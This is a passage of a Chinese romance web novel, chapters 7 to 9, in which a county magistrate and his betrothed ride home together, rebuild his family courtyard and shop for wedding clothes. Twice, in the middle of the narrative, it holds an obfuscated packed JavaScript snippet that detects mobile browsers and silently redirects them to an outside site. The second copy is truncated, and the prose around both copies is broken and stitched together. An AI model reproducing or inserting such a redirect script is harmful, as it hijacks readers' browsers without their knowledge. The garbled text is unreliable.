陈君迁不以为然地嗤了一声。 又走了两步,突然停了下来。 “怎么验证她是不是画中仙?”陈君迁竟然好像真的在思考。 7. 回家 谢遇欢到了也没说出什么靠谱的验证之法。 陈君迁哂笑一声,不再纠缠这个问题。 且不说他不信鬼神之说,就算世上真有画中仙,她一个无拘无束的画中精灵,肯为一个男人踏入尘世,生儿育女洗衣做饭,换做哪个男人都该百般珍惜,何必纠结验证她是人是妖? 陈君迁很快便将这些玩笑话抛之脑后,专心处理起公事。 县衙平日里活计不多,今儿也不知怎么了,事情一桩接着一桩,陈君迁这一忙就忙到了傍晚。 他去找沈京墨时,她正坐在窗下看书。 此时光线已经暗下去,陈君迁从窗外瞧见她斜倚在窗台上,一只手撑在脸侧,另一只手翻过一页书看了几眼,抬起来纤细莹白的皓腕,轻轻揉了揉眼睛。 美人倚窗,像幅闲适恬静的画。陈君迁驻足欣赏,忽然觉得他这枯燥沉闷的县衙,今日似乎格外好看。 光又暗了一些,书就看不成了。 沈京墨将书本合起来,打算放回原位,起身时,目光不经意掠过窗外,正瞧见了不远处负手而立的陈君迁。 暮色四合,他高大的身影站在那儿,像是嵌入昏黄天幕的一张剪影。 也不知他在那儿站了多久,但见他那双星目墨眸直勾勾地瞧着自己,沈京墨不由得紧张起来,起身走到门口。 陈君迁也走了过来。 “久等了,今天事多耽搁了。你饿了吧?” 沈京墨摇头,侧过身去露出桌上那一笼屉蒸饼:“多谢大人挂怀,已经用过饭了。” 陈君迁趁她侧身,进了屋,见碟子里还剩好几块蒸饼,眉头一皱,问她是不是蒸饼不合胃口没吃饱。 沈京墨反复跟他确认了好几次,陈君迁才相信她的胃口就是那么丁点儿大。 他不再问她了,拿起一块已经变凉得多了些韧性的蒸饼,就着桌上的半杯茶吃了起来。 沈京墨想要提醒他那茶杯是她用过的,但看他吃起饭来狼吞虎咽的不雅模样,微微蹙了眉尖,最终还是什么都没有说。 陈君迁一大早就出了门,忙了一天,早就饥肠辘辘。剩下的蒸饼有一大半都下了肚,他才算是饱了。 最后两块蒸饼被他包了起来,说陈川柏喜欢,要带回家给他吃。 沈京墨静静地站在一旁,等他包好了蒸饼要回家了,她也将书放下跟在他身后。 陈君迁侧目瞥了一眼被她留在椅子上的书:“你爱看书?” “无聊时会读些书来解闷,”答完,她又补充,“这本是从县衙府库里拿的,带我去的那位衙役大哥说,里面都是些陈年卷宗,随便看看不打紧。我也看不大懂,还望大人勿怪。” 陈君迁没有怪她的意思,怕她误会,急忙解释:“这县衙里的东西你随便看随便用,反正我也用不着,放着只能生虫。” 沈京墨拘谨地微微点头。 陈君迁一顿,又道:“卷宗没什么意思,赶明儿我找些有意思的书给你,省得你闷。” “大人费心了。” 陈君迁笑:“再过五天就成亲了,别叫我大人了。” 他笑起来,凌厉的眉眼就变得柔和许多,整个人也不像板着脸时那么凶了,看上去像是个很好说话的人。 沈京墨抬眸瞧了他一眼,讶异地启唇,但什么也没说,只听话地点了点头,应了声“是”。 陈君迁往外走,沈京墨就乖乖跟上。 此时天已经完全黑了,街两边的铺子差不多都已打烊,行人也早都回了家。 路上只有陈君迁和沈京墨一前一后地走着,走的是白天沈京墨跟陈川柏走过的那条平坦些的路。 他褪下官服换上了自己的衣裳,与她走在一起,像对寻常的小夫妻。 其实陈君迁是想和她一起走的,但她不知怎的总往他身后躲,好像他前面有鬼似的。 他步子大,习惯快走,但她步量小,陈君迁怕她跟不上,只能放慢了速度,走上一会儿,回头瞧她一眼。 沈京墨确实走得有些累。她今天只买了衣裳,还没来得及买鞋,脚上这双软底绣鞋走了太多路,这两天愈发磨脚了。 但她不敢掉队,只能硬着头皮跟上。 沉默地走了一会儿,陈君迁回头看她的频率越来越高。 他的娘子看上去性子安静,也不知是天生不爱说话,还是和他不熟没得聊。 但她声音很好听,轻轻柔柔的,说起话来文绉绉的,和村里那些大嗓门的婶子们不一样,他爱听,还想多听听。 于是他故意把步子放得更慢,原地踏步,等着她走上前来,好和她并排走。 沈京墨一路默默跟他保持一步距离,见他突然慢了下来,她不明就里,也慢下速度,踩着小碎步跟他一道原地踏步。 陈君迁等了半天,也没见沈京墨走上来,还以为她掉了队,正要回头去找,一转身,才发现她就在自己背后,也正一脸疑惑地看着他。 陈君迁刚抬起来的步子一僵,缓缓放下,脸上难得地浮现起一丝尴尬。好在现在天黑,他脸也不怎么白,才没让她看见。 “前面刚才过去条蛇!”他飞快编了个瞎话,面不改色道,“咱们等它爬远点儿再走。” 沈京墨在上京哪见过蛇,吓得小脸一白,惊慌地往脚边的草丛看去,仿佛里面真藏着条蛇,她一动就会窜出来咬上一口。 转了一圈找不到蛇,沈京墨不由得害怕地朝陈君迁靠去。 馨香贴近,陈君迁暗中得意,也没往后躲,甚至还趁她不注意,悄悄往前凑近了半步。 两个人原地站了半天,直到夜风变得有些凉,吹得沈京墨身子一抖,陈君迁才意识到时间已经很晚了。 他清了下嗓子:“咳……应该爬远了。你走我身边来吧,安全些。万一后面有什么我看不见。” 沈京墨这次没有拒绝。她现在脑子里都是“这里有蛇”四个大字,只想快点离开这片高草地,哪还有工夫想别的。 剩下的路,沈京墨都低着头,一旦路边的草丛里有什么动静,就马上靠近陈君迁几分,直到真和他贴上,又马上红着脸弹开。 陈君迁背着手跟在她身边,眼神一瞬不瞬地定在她身上,知道她看不见,嘴角的笑意就没下去过。 * 走了半个来时辰,陈家的小院出现在了视野之内。 站在院门口,沈京墨倏然想起那一地的风干鸡粪,挥之不去的怪味,还有满屋乱飞的鸡,紧咬着唇没有往里走。 陈君迁见她站在门口不动,低头去看她。 她脸色凝重,呼吸也很轻,原本胸膛规律地起伏,现在变得间隔很久才会很轻很浅地伏动一下,好像是在屏气。 他皱着鼻子抬头左右嗅了嗅。 空气中有淡淡的药味,是他爹后院和房顶晒的药材的气味。除此之外,还有一股猪圈和鸡窝的腥臊。 陈君迁想了一想,大概懂了:他在葡萄村住了一辈子,家家户户都养牲畜,早都习惯了这股味道。但她是京城来的大小姐,他虽然没去过上京,但也知道京城地方大,猪圈肯定离睡觉的屋子很远,所以她闻不惯。 他再观察,发现沈京墨不光不敢大口呼吸 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话虽如此,但被第一坨鸡粪拦住的时候,沈京墨觉得自己豪言壮语实在是说早了。 但话都说出去了,自己选的路,哭着也得走。 她提起裙摆,踮着脚,小心翼翼、走一步看一步地往东屋走,短短十来步的距离,活像在趟雷区。 陈君迁也不拦她,亦步亦趋跟在她身后,手虚虚扶着她的背,以防她保持不住平衡摔倒,疼不说,万一把新衣裳蹭脏了她得多心疼。 好不容易进了东屋,沈京墨往里看了一眼,见房间都被打扫干净,这才隐隐松了口气,与陈君迁道过晚安后关上了门。 和他独处了快一个时辰,她的精神时刻紧绷着,如今终于只剩下她一个人,沈京墨心情放松下来,静静站在屋中,突然一股凄凉和委屈涌上心头。 直到重回小院之前,她对这里都是充满好感的,虽然有一地的秽物和难闻的气味,但那时她只是暂住一晚的过客,能有个遮风避雨的地方就已满心感激。 可一天过去,她却又回到了这里,家徒四壁环境差不说,外面还有蛇。 而更让她绝望的是,她大概还要在这里住上一辈子。 * 陈君迁在沈京墨屋外站了一会儿,转过身去,眼神一寸一寸扫过自家的院。 思忖片刻,他扭头去了后院。 说是后院其实并不准确,陈君迁家里只有一个大院子和两间正房,所谓后院,其实是西屋院墙外的一片空地,因为没人占,陈君迁就在院墙上开了个小门,给他爹晾晒药材用。 陈大正背对着陈君迁,蹲在地上收拾晒好的药。 “爹,我要重修咱家院子。” 陈大被陈君迁突然出声吓得魂差点没了,一边拍胸脯一边扭头瞪他一眼:“你吃错药了?” “我要把猪圈迁到后院来,还有鸡窝。你那块菜地也挪这儿来。嗯……再盖间新房,修个茅房。” 陈大一听不乐意了,站起来面向陈君迁:“臭小子你敢动我菜地一下试试?” “威胁上官?我是县令!” “我是你爹!” 陈大脱下一只鞋朝陈君迁飞了过去。 陈君迁贼笑着矮身一躲:“我要娶沈大小姐,人家城里人住不了这样的环境。” 说完,后院里沉默了。 片刻后—— “搬!明天就搬!我早就看那两头猪不顺眼了!我跟你一块儿搬!” 8. 细腰 转过天是陈君迁的休沐日。 沈京墨是被一阵叮叮咣咣的声音吵醒的。 睁开眼,阳光已经透过窗缝照了进来。沈京墨竖着耳朵又听了一会儿,依然没听出那是什么动静,便起了身,飞快地梳妆好后,出门去瞧。 今天是个难得的大晴天,沈京墨一打开房门,就被明媚的阳光晃了眼。 她适应了一会儿光线,才看见院子里堆了一堆石块和砂浆。昨天还满是鸡粪的地面,如今已经焕然一新,用砂砾打了底,上面浇了一层白灰砂浆,干燥后干净得像是洗过了一样。 她一愣,又听到那叮叮咣咣的声音在头顶响了起来。 沈京墨走到院子里,抬头往房顶上看去。 “哥,装不下了,再来个篮子!” 少年高亢的声音刚落,屋沿上就出现了一个精壮的身影。 陈君迁赤着上身,肤色比脸稍白些,是浅浅的健康的小麦色,肌肉线条流畅健美,身子一动,肌肉便随之绷紧,像头充满了力量的猛兽,紧实的肉/体之下是用不完的精力。 他身上覆着一层晶莹的汗,日光一晃,肌肉的线条更加显眼。 男人健硕的身体、起伏的胸膛,一瞬间落入沈京墨眼中。她从未见过男子赤膊,脸蛋瞬间涨得通红,惊慌失措地移开视线,张开樱唇短促地呼吸着,一双圆润的杏眸飞快地眨动。 他、他怎么在外面不穿衣服啊! 沈京墨的心脏砰砰乱跳,她手抚着胸口,只觉口干舌燥。 明明该害羞的是他,怎么感到窘迫的反而是她呢? 慌张过后,沈京墨决定当做没看见,低头就要回屋。 屋沿上,陈君迁也瞧见了沈京墨,笑着抹了把汗,朝喊了她一声:“你醒了?早饭在厨房!” 被他抓住,沈京墨步子一僵,也不好再装看不见,顿了一会儿,转身往厨房走去。 听见沈京墨起了,陈川柏也从屋顶上露出脸来和她打招呼。 沈京墨礼貌地抬头应他,却发现这小子和他哥一样没穿衣裳,羞得她又赶忙把脸地下,埋头往前走。 陈川柏不明白她这是怎么了,正想问,后脑勺就结结实实挨了陈君迁一巴掌。 “回去收你的药材去,谁让你过来的?” 陈川柏哼了一声,回去继续干活。 沈京墨走了两步,才发现厨房门外堆了一地石块砂浆。 她停了下来,犹豫还要不要进去。那砂浆是湿的,容易蹭得哪里都是。 陈君迁在屋顶上看见她没动,也猜到了原因,只怪自己粗枝大叶,忘了把早饭端出来。他这么想着,就准备下去。 “哥,我篮子呢?快点儿。”陈川柏在身后催促。 “没看我还没下去呢吗?臭小子。” 他站起来往梯子前走。 沈京墨犹豫了片刻,还是决定这个早饭不吃也罢。 她转过身往回走了两步,发现陈君迁在屋顶上盯着她看。 沈京墨脸上的温度还没下去,被他这么盯着,恨不得长双翅膀飞回屋里去。 他盯着她走近,突然开口:“把篮子递给我。” 沈京墨闻声仰头,确定陈君迁是在和自己说话后,顺着他手指的方向看见梯子后面两个摞在一起的竹篮。 她拿起篮子,抬手递向陈君迁。 “太高了够不到,”陈君迁指了下梯子,“会上梯子么?” 沈京墨在沈府时,有一间很高很大的藏书室,踩着小梯子上去找书这事她六岁就会了。 她看了眼旁边的梯子,将竹篮挎在臂弯,一手提着裙摆,小心翼翼地爬了半架梯子,稳稳握住梯子一侧后,再次把竹篮递给他。 陈君迁朝她露齿一笑,接过篮子丢给身后的陈川柏,又立马看回沈京墨:“你回屋等着,我去给你端早饭来。” “大……”沈京墨想叫“大人”,但一开口又想起他昨天要她别叫大人,却没说该如何称呼他,想了想,便干脆略去了称呼这个步骤,小声道,“不用麻烦,我不太饿。” “不麻烦,收点药材而已,川柏一个人就够了。” 身后的陈川柏扁了扁嘴。 陈君迁拿起一条巾子火速擦了擦身上的汗,这就往下爬。见陈君迁非要下来,沈京墨只好先往下退。 离地面还有四五级阶梯时,她脚下突然传来几声撕心裂肺的鸡叫,像是被人踩了脖子似的。 她什么都没踩到啊! 沈京墨忙吓得停住脚步,趴在梯子上往后一看,一只毛色金红的鸡威风凛凛地站在梯子底下,正仰着脖子冲她一声声地“咯咯”叫。 它翅膀上有一撮羽毛很凌乱,细看似乎还少了好几根,有两根折断的羽毛横插/在其他羽毛中间,看上去十分可怜。 它一边叫着,一边扑棱着翅膀蹦起三尺高,朝沈京墨扑来,那架势,活像来寻仇的。 差点被它叨着鞋底,沈京墨赶紧又向上爬了两级,急得不敢下去。 她幼时养过兔子、养过小狗,可却从未养过鸡,不知道鸡尖利的叫起来动静这么大、这么吓人。 陈君迁此时已经爬下来七八级阶梯,见沈京墨不下反上,他也停下来探头往下看。 “你怕鸡?”他问她。 沈京墨仰头看他,脸色都有些发白,小幅度迅速地点了点头,眼神中写满了惶恐和不知所措。 陈君迁昨晚听陈川柏说了昨天早上的事,安慰她道:“二红是有点儿小心眼儿,你得比它还凶,不然让它叨上一口,以后见了你都会扑上来。这玩意儿欺软怕硬,跟人似的。” 说是这么说,沈京墨低头看了一眼这只雄赳赳气昂昂的名叫“二红”的鸡,试着往下挪了一步,它就窜上来接着咬。 她脚还没踩上下面的阶梯就马上收了回来,两手紧抓着梯子,狠狠摇头,说什么也不肯下去了。 陈君迁见了,忍不住笑了。不是嘲笑,是觉得她可爱。 上京来的大小姐,养尊处优的贵人,竟被村里养的鸡吓成这样。 “手抓住横档,别抓两边。” 沈京墨不知道这样做是不是能把鸡吓走,但还是照做了。 等她放好了手,陈君迁快步往下下了几级,一翻身,轻巧地翻到了梯子另一面,两手两脚抵住梯子两侧,一眨眼就滑到了地上。 “去!”他对着二红虚虚踢了一脚,连翅膀毛都没碰到,二红两只翅膀一捂鸡头,一溜烟跑回鸡窝里去了。 把鸡轰走了,陈君迁回头去看沈京墨。 她还趴在梯子上不敢下来。 陈君迁向她伸出手:“我抱你下来?” 沈京墨摇头,试着自己往下爬。陈君迁就在底下张开双臂接她。 她这次爬得很慢,小腿有些发颤,不得不放下裙摆,两只手都抓住梯子稳住身形。 距离地面还有最后三阶时,沈京墨一不小心踩到了裙角,脚下一空,整个人往后倒去! “啊!” 身子失衡的一瞬间,沈京墨喉咙中发出一声短促的尖叫。 只是叫声都没完整地发完,她就稳稳地落到了地上。 一双沉稳有力的大手托着她盈盈一握的腰,掌心的硬茧隔着衣裳硌着她,温度灼人。 沈京墨接连受惊,身上软得一点力气也没有,双手撑在陈君迁的胸膛,失神地仰着脸看他,剧烈地喘/息着。 陈君迁也不催她,松开一只手一下一下地轻拍她的后背,帮她顺气。 沈京墨缓了半晌,终于回过神来,才发现自己竟还赖在他怀里!她抵在他胸口的双手像是被烫着了似的迅速抽了回去,背在了背后,手指紧紧绞在一起,人也向后退了一步与他拉开距离。 陈君迁怀里突然空了。他一怔,随后也将手收回了背后,松松握拳,掌中似乎还残留着她的体温,和腰肢纤细柔软的触感。 她的脸红得滴血,轻声细语地对他道了声谢,转身就要进屋。 只是这一走,脚下却传来黏腻的感觉。 她低头去瞧,才发现鞋上不知何时蹭到了白灰砂,所经之处,都被她留下了半只白白的脚印。 沈京墨立刻站定了脚步,不敢再走了。 陈君迁始终在背后注视着她,见状,走到她跟前蹲下,瞧了瞧鞋上的白灰砂,头也没抬:“鞋子脱了。” “……”沈京墨没动。 他抬头看她,以为她没听见:“鞋子脱了,我给你洗洗。” “不行……”她扭捏着,声音细若蚊喃,脸色通红,“在外人面前露脚……这不合规矩。” 不能在外面露脚?这是什么规矩!他们村里的大姑娘小伙子每到夏天还光溜溜地下河洗澡呢,这有什么的?让人看一眼又不会掉块肉。再说鞋里还有袜子呢! 还有,他们马上都要成夫妻了,他怎么能算外人? 陈君迁往房顶上看了一眼。嗯,确实还有个外人。 既然沈京墨不愿,他自不会强迫,站起身来,将一侧胳膊递给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711577|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她:“我扶你进屋换。” * 陈君迁没穿上衣,沈京墨的手不敢直接攀附他的手臂,只能将手缩进袖中,隔着一层布料搭在他手上。 即使如此,她的指尖依然能感受到他手臂上结实的肌肉,随着他发力变得十分坚硬。 两人进了屋,沈京墨坐到床上一把鞋脱下来,就把脚伸进了被窝。 陈君迁在地上找了一圈,从西屋拿了一双鞋过来,放在她面前。 “前些日子给川柏买的,新的,他没穿过,你先穿上。等明儿给你买新的。” 沈京墨听话地穿上,虽然比她的脚大了一点,但走路动作别太大倒也不会掉。 她这边刚换好鞋,陈君迁那头已经打好了水,把鞋放进了盆里。 他没出去,就蹲在她屋里的地上洗,省得让外人看见了,她又羞得脸通红。 “我来吧。” 沈京墨走过来,想从陈君迁手中接过绣鞋。 见她雪白的小手都伸到眼前了,陈君迁没有拒绝。他手太糙,她的鞋面料跟绸缎似的,硬茧一勾就容易留下痕迹。 他往后挪了挪,低头看着沈京墨细嫩的纤纤玉指握着鲜艳的绯色绣鞋,浸入水中轻轻搓揉。 她的手很白,皮肤也光滑,揉搓时手背沾上了许多水珠,随着动作乱晃,最后滑入指缝。 陈君迁盯着她手的眼神一暗。 昨晚她擦洗脖颈时,也是一样的白,一样的水珠乱晃…… 他的视线随着回想慢慢上移。 “家里有胰皂吗?”她突然开口,陈君迁忙收回了思绪。 胰皂是什么,他没用过,但大概也猜得出她想要什么,摇了摇头。 沈京墨说的胰皂是用猪的胰子加砂糖和黄豆粉做成、专门用来洗衣的。她不知这东西珍贵,寻常人家用不起。 “草木灰倒是有,不过洗不掉白灰砂。” 没有胰皂就算了,沈京墨想,她用力多搓洗一会儿,应该也能洗干净。 只是她力气实在小,搓了不多时,鞋子还没干净,她的手倒是先搓红了。 她搓搓停停,两条手臂酸得厉害。 “洗得差不多了,剩下的我来吧。”陈君迁知道她洗不动了,适时地开口,拿走了她手里的绣鞋。 “可你的手还有伤,不能沾水。”而且那伤还是她扎的。 “伤在手背,我动作小点,不碍事儿。” 沈京墨没有再拒绝,擦干了手,抱膝蹲在他对面,看着他的大手三两下就将鞋子洗净,挤干了水分,又将她另一只鞋子也放了进去,说反正一只也是洗两只也是搓,这样还省水。 沈京墨安静地看了半天,突然低声说:“我以前其实也没这么笨……” 陈君迁洗鞋的动作一顿,抬头看她:“谁说你笨了?” 他不说还好,一说,她就更想哭了。沈京墨咬着唇,吸了吸鼻子没有答话。 她在上京虽说不是最有才的贵女,好歹也有几样拿得出手的技能,笛子吹得好,字写得漂亮,女红也算得上精通。 可到了这里之后,她却好像变成了什么都不会的傻子,什么都做不好,什么都要别人帮忙。 她也不想这样的!虽然如今她已不是什么高门贵女,但多年养成的骄傲仍在骨子里。这样屡屡犯错,她又羞又臊,可又偏偏没有办法,只能默默流泪。 沈京墨低着头,陈君迁没瞧见她哭,直到一滴眼泪“啪嗒”砸到她膝盖上,他才意识到她在流眼泪。 陈君迁顿时慌了。 他鞋也不洗了,手在裤子上蹭干,就想给她擦眼泪。可是手伸过去,又怕这一手被水泡出来的皱褶和硬茧会弄疼了她,急得一时不知如何是好。 “你别哭,别哭啊!”他这么一说,沈京墨眼泪流得更凶,急得陈君迁也要哭了。 他三步并作两步,从桌上扯过巾子来递给她。 “你哪里笨了?你一个人从上京来到这儿,从萧景垣手里全身而退,还砸晕了一个歹人,多机智多勇敢啊!你还爱看书,爱看书的人怎么会笨呢? “你只是刚刚离开家,又没在乡下住过,人生地不熟的,才会犯几个小小的错。过些日子就好了。” 沈京墨听着,抬起红红的眼睛看他,鼻子一抽一抽的,鼻尖也通红。 陈君迁的心一下就软了,语气也跟着软了下来,几乎是用哄小孩的语气哄她。 “不哭了。明儿我带你去买新绣鞋,买最好看的!” 9. 量身 趁着陈君迁休沐,陈家父子花了一天时间,把原来的猪圈拆了,搬到了后院。给两头猪搬家时,陈川柏一个没压住,胯/下的猪就窜了出去,驮着他在院子里东跑西撞,吓得鸡窝里的三只鸡“咯咯咯”地大叫。 沈京墨在屋里,听见外面鸡飞狗跳,跑到窗边看,听着陈川柏慌张中带着兴奋地又喊哥又喊爹,陈君迁和陈大两人左右包抄,扑空了四五次才三人合力把猪按倒,爷四个瘫在地上呼呼喘气,她也忍不住笑了起来。 忙碌的一天过去。 沈京墨记得陈君迁说明日要带她买新绣鞋,期待得一宿没睡好,第二天早早就梳妆好打开了屋门。 屋外,昨天翻新了的地面光洁如洗,原本又脏又臭的旧猪圈的位置也彻底清理过,还拿干净的石块新铺了地。 沈京墨眼前一亮,不由得深吸了一口气,竟觉得空气都比昨天香甜了许多。 陈大正在厨房里忙活,见她起身了,忙从锅里端出一张热腾腾的蒸饼,一脸笑容地给沈京墨送了过去。 自打昨天陈川柏从县衙回来,把沈京墨就是沈家大小姐,还和陈君迁画里那姑娘长得一模一样的事跟他说了,陈大就越瞧沈京墨越稀罕,总觉得她跟陈君迁是前世修来的缘分,天造地设的一对。 所以他什么好的都想留给她,就连仅有的两块蒸饼,也从陈川柏嘴里抢下了一块给她留着。 沈京墨瞧见蒸饼,急忙摆手:“陈大人说这是留给……” “猫儿那张嘴吃啥都一样。这蒸饼比菜饽饽好咽,沈大小姐吃吧。我给你搁桌上,烫,晾晾再吃啊。” 陈大的热情让沈京墨没法拒绝,只好收下。但她心里惦记着绣鞋,来不及等蒸饼放凉,拿指尖掰下一小块来,边吹边小口吃了起来。 陈大在旁边眯眼笑看她。不知怎的,他就是觉得这儿媳妇哪哪都好,生得好看,脾气也好,吃东西还慢条斯理的,不像家里那两头猪吃起饭来狼吞虎咽没个人样。 沈京墨被陈大这么盯着,吃不太下去饭,只磨蹭着吃完小半块蒸饼就放下,询问陈君迁去了何处。 “虎子昨天干活累着腰了,今儿爬不了山,所以走得早了点儿。你要找他,让猫儿领你去。” 沈京墨起初还想问虎子是谁,听到后面便懂了,微微弯了弯唇角。 想想他那一身健硕结实的肌肉和流畅的线条,这名字倒也有几分衬他。 * 永宁县衙。 陈君迁一大早就把今天的正事做完了,想着待会儿沈京墨要来,他揉了揉酸痛的腰,决定在她来之前先去趴一会儿,可别让她看出什么来。 经过后院时,前天讨论画本的几个衙役还围在一起。陈君迁凑上去听了听,好像是画中仙的故事有了后续。 不过他在这方面是个没耐心的,一听说那画本还未完结,就没兴趣听了。 走出两步,他想起了什么,又退了回来,对其中一个衙役道:“回头拿几本话本给我,带画的带字的都要,要好看的。” * 下午,陈川柏把沈京墨送到永宁县衙就回去了。 眼下离陈君迁下值还早,沈京墨跟衙役说了一声,就想自己先去街上转转。可还没走出县衙大门,就被陈君迁叫住了。 他穿着官服,听说她来了,一路跑着从后院赶来,吩咐衙役有事去街上找他后,快步走下台阶来到沈京墨眼前。 “大人还未下值,不必陪我,我买好东西就回来。” 自打见到她清瘦的身影出现在县衙门口,陈君迁脸上的笑就没消失过。 他豪迈地一挥手:“不打紧,今儿没什么事儿。要真有事儿,他们来找我就是了,反正就那么一条街,离这儿又不远。你怎么又叫我大人了。” 话说到这份上,沈京墨没有再拒绝他的陪同。经过昨天那一番小院改造和这几日下来与陈家人的相处,她对陈君迁的看法也有了些许改观,如今和他并肩同行,也放松了许多。 毕竟再有几天他们就要成亲了,成了亲,总不能还像之前那样和他保持距离。沈京墨想,这几日她会努力与他好好相处,这样成了亲才好习惯。 永宁县不大,卖东西的就这么一条热闹的大街,和县衙就隔着一条街。 路过卖鞋子的店,沈京墨没进去,低着头往前走。陈君迁一把拉住她,说她走过了,她却支支吾吾地还往前看。 陈君迁往她看的方向望去,看见一面大大的旗子上画了个圈,中间写着一个字。他虽然不识字,但也知道那是间当铺。 她熟悉当铺的方向,说明她去过了。 他皱了皱眉,问她:“你把什么东西当了?” “……一根簪子。买了衣裳还剩些银子,不知道够不够。我还有些首饰,还能再……” 他打断了她的话:“你的东西你自己留着,等下要买什么我来付。” 沈京墨张了张嘴,很想说什么,但是没有说。 他家都快揭不开锅了,那碗清水似的米汤、只有床和桌椅的屋子…… 她很想问他,县令的俸禄就算不多,也该比普通百姓富裕,怎么他却家徒四壁。但又怕他误会她嫌他家贫,惹他不快,就一直没问。 沈京墨还想试着解释,陈君迁却十分坚决地握住了她的手腕,拉着她进了路边的鞋店,堵在门口,非让她挑上两双,不,三双喜欢的样式,又当着她的面付了钱才肯罢休。 从这家店出来,他又给她多添了几件首饰衣裳,而后才去买了衣柜、妆奁、被褥枕头,甚至还给她买了一块巴掌大的铜镜用来梳妆。 能拿动的,他都拿着,拿不动的,就让店家送去县衙,等他下值再借县衙的驴拖回家。 置办这些的时候,沈京墨就红着脸跟在他身后。 衣柜妆奁还好说,枕头被褥这些一看就是为他们成亲准备的,都是红艳艳的喜庆颜色,以至于店家都用揶揄的目光看着她和陈君迁,临了还对她道了声谢,感谢她的出现让他们的县令大人不再孤单。 店家说话带点南方的乡音,沈京墨没听懂,去问陈君迁。 陈君迁抱着一床被褥走在前头,听她问话,侧目看她一眼,面不改色道:“她祝我们夫妻和睦,早生贵子。” 沈京墨感兴趣的神情顿时一僵,撇过脸去“哦”了一声,耳尖却悄悄红了。 该添置的都买得差不多了,陈君迁又带沈京墨进了一家成衣店。 虽然被褥挡住了脸,但老板娘一看那高高的个子就知道是陈君迁,笑着迎了上来:“陈大人是来给夫人买新衣裳的吧?早就看见你们从我这铺子门口经过好几回了,还以为陈大人不肯赏我这个光呢。” “夫人”这个称呼让沈京墨紧张了一瞬,脸上的羞涩更甚,转过身去看墙上挂着的成衣不看他。 陈君迁却对这个称呼很满意,把被褥放下,微微弯腰对沈京墨低语道:“你看看这儿可有你满意的婚服。要是没有,咱们再换一家。” 离他二人成婚只剩三日,现做婚服自然来不及,好在永宁县没有非得新娘手绣婚服的讲究,成衣铺里就有现成的婚服,选两件合眼缘的,再按照新郎新娘的身材改上一改,两日便能完工。 沈京墨咬着唇,双颊微红,目光慢慢扫过一件件算不上精致,却简单喜庆的婚服,最终挑了一套花纹最繁复的。 “不愧是京城的大小姐,眼光就是好!这套婚服,新郎官穿上山猛虎,新娘子穿山顶芙蓉,取得是郎君仕途步步高升,夫妻恩爱之意,吉祥的很呐!” 沈京墨被老板娘夸张的褒赞说得害羞,轻轻瞥了陈君迁一眼,想问问他喜不喜欢,一抬眸,就撞进了他火热的目光中。 像极了前日在县衙中,他得知她是他的未婚妻时,那种恨不能把她拆吃入腹揉进骨血的眼神。 沈京墨一怔,恍然大悟,他的小名叫虎子,这婚服上恰好有一只上山虎,威风凛凛,十分漂亮。 难怪他看她的眼神都变了。 沈京墨:…… 她真没想那么多,她只是喜欢芙蓉,而那新娘的婚服上又恰好绣着芙蓉而已! 老板娘不知道他二人在想什么,只是看见两人眼神交汇又错开,觉得十分有趣:“得嘞,婚服选好了,二位随我上楼,咱量量尺寸,明儿改好了叫人给您送到县衙去?” 沈京墨倒还好说,她身材偏瘦,个子适中,一般的成衣只要改改腰身就好。陈君迁六尺有余的身量,要改的地方就多了。 两人上了二楼,老板娘取出尺来,正要询问谁先量,沈京墨却先开口了:“我来吧。” 陈君迁一愣。 老板娘见多识广,连连道好,把尺交到沈京墨手中,笑呵呵地关起门下了楼,把二楼交给了这对小夫妻。 屋中突然安静,沈京墨这才后知后觉地紧张起来。 她垂眸,略有些局促地轻声解释:“我女红尚可,虽不能亲手绣婚服,改改还是行的。” 昨天给她洗鞋时,她懊恼自己总做错事,如今总算有一件她力所能及的事,沈京墨不想错过证明自己的机会。 不是证明给陈君迁看她有多能干,是告诉她自己,她不是个什么都不会的傻子。 “手抬起来。” 陈君迁听话地将双臂伸展。沈京墨将软尺展开,从他一只手掌量到肩膀,又从肩膀量到另一侧肩膀,再量到另一只手掌。 接下来是腰。沈京墨红着脸迟疑了一下,小心翼翼地张开手,轻轻用软尺环住了他的腰身。 相比宽阔的肩膀,陈君迁的腰算是细的,尽管隔着几层布料,沈京墨依然能摸到他劲瘦的腰,结实,坚韧,平坦,没有一丝多余的肉。 沈京墨蓦地想起早上陈大说,陈君迁昨天干活伤了腰。 “你的腰,还好么?” 陈君迁愣了下:“什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好说好说,我这就去给你取啊!陈大人你就放心地把夫人留在我这儿,等忙完了再来接人就是了。有这么个大美人儿在,我这铺子都有光呢。” 沈京墨知道老板娘意在讨好陈君迁,没把她的奉承放在心里,只对陈君迁点了点头,让他只管去忙,无须担心她。 陈君迁只好答应她忙完就立刻回来接她,随后边走边回头地下了楼。 老板娘见状,又对沈京墨说了几句好听的话,夸他们小夫妻感情好,分开一会儿都舍不得,又夸陈君迁长得好又能干,说永宁县不知多少姑娘要因他成亲而流泪云云。沈京墨不知该怎么接话,只是笑笑。老板娘见状,说楼下还忙,也退下了。 等到二楼又只剩下沈京墨一人,她在新郎的婚服上量画一番,拿起针线修改起来。 一边改,她一边回想着这几天与陈家父子三人的相处。 她如今只是个无权无势的落难小姐,来到永宁县前,她还担心夫家会不会视她为累赘,却不想陈家父子都待她很好,虽说家中不富裕,却还是拿最好的东西来招待她。 她想着想着,脸上露出一丝释怀的浅笑。 虽然这样的婚姻与她想象中的全然不同,但好歹夫家对她好,日子也算有个盼头。这大概是她不幸的人生中难得的幸运。 一念及此,沈京墨又不免想起了自己的亲人。 